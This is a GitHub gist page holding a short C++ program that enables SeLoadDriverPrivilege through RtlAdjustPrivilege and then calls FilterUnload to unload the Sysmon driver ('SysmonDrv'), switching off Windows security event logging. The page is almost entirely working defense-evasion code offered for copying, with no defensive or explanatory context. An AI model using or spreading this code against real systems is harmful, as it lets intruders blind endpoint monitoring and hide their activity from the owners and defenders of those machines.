Skip to content

Instantly share code, notes, and snippets.

@T3nb3w
Forked from safebuffer/UnloadSysmon.cpp
Created May 3, 2021 13:00
Show Gist options
  • Save T3nb3w/91d28145922bfbbe7a0b5cca2d9d2cfe to your computer and use it in GitHub Desktop.
Save T3nb3w/91d28145922bfbbe7a0b5cca2d9d2cfe to your computer and use it in GitHub Desktop.
Unload Sysmon driver
#include <Windows.h>
#include <fltuser.h>
#pragma comment(lib,"FltLib.lib")
typedef NTSTATUS(NTAPI* _RtlAdjustPrivilege)(ULONG Privilege, BOOL Enable, BOOL CurrentThread, PULONG WasEnabled);
int main()
{
HRESULT unload;
ULONG WasEnabled;
HMODULE hNtdll = NULL;
LPCWSTR SYSMONDRIVER = L"SysmonDrv";
ULONG SeLoadDriverPrivilege = 10;
hNtdll = LoadLibraryA("ntdll.dll");
_RtlAdjustPrivilege RtlAdjustPrivilege = (_RtlAdjustPrivilege)GetProcAddress(hNtdll, "RtlAdjustPrivilege");
NTSTATUS status = RtlAdjustPrivilege(SeLoadDriverPrivilege, TRUE, FALSE, &WasEnabled);
if (status)
{
std::cerr << "RtlAdjustPrivilege has been failed: " << std::hex << status << std::endl;
return EXIT_FAILURE;
}
std::cout << "RtlAdjustPrivilege SeLoadDriverPrivilege : S_OK " << std::endl;
unload = FilterUnload(SYSMONDRIVER);
if (unload != S_OK) {
std::cerr << "FilterUnload has been failed: " << std::hex << status << std::endl;
return EXIT_FAILURE;
}
std::cout << SYSMONDRIVER << " was unloaded successfully " << std::hex << unload << std::endl;
return EXIT_SUCCESS;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment